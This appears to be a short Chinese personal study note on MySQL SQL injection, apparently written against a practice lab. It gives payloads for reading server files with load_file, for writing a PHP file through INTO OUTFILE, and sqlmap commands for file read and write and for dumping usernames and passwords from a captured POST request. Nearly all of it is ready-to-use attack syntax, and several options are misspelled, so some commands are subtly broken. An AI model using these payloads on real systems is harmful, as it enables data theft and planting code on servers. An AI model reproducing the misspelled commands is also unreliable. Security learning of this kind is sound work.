end的sql注入学习4

Mysql的读写文件注入

一,读文件注入
前提：1，用户权限足够高，尽量具用root权限。
2，secure_file_priy不为NULL。

注入格式： URL+读取文件的目录/？id=1‘ union select 1，load_file(“F:\flag.txt”),3 --+

二，写文件注入
mysql> set global general_log = on (数据库这个要打开）

注入格式：注入格式： URL+读取文件的目录/？id=1‘ union select 1,’<?php phppinfo();?>’,3 into outfile '写入的准确目录‘ --+

三，使用sqlmap完成文件读取写入

1，读：
sqlmap -u “url” --file-read “读取文件的地址（精确目录）”
2, 写：
sqlmap -u “URL” --file-write “要写入文件在本地的精确地址” --file-dest "写到目标的地址“

Sqlmap安全测试 进行post注入

复制Bp截断的http请求数据包发送到文本中
使用sqlmap -r 文件路径 -p 探测参数
例如：
python sqlmap.py -r 1.txt -p passwd

python sqlmap.py -r 1.txt -p passwd --technique E

python sqlmap.py -r 1.txt -p passwd --technique E --current -db

python sqlmap.py -r 1.txt -p passwd --technique E -D security --tables

python sqlmap.py -r 1.txt -p passwd --technique E -D security -T users -columns

python sqlmap.py -r 1.txt -p passwd --technique E -D security -T users -C ‘username,password’ --dump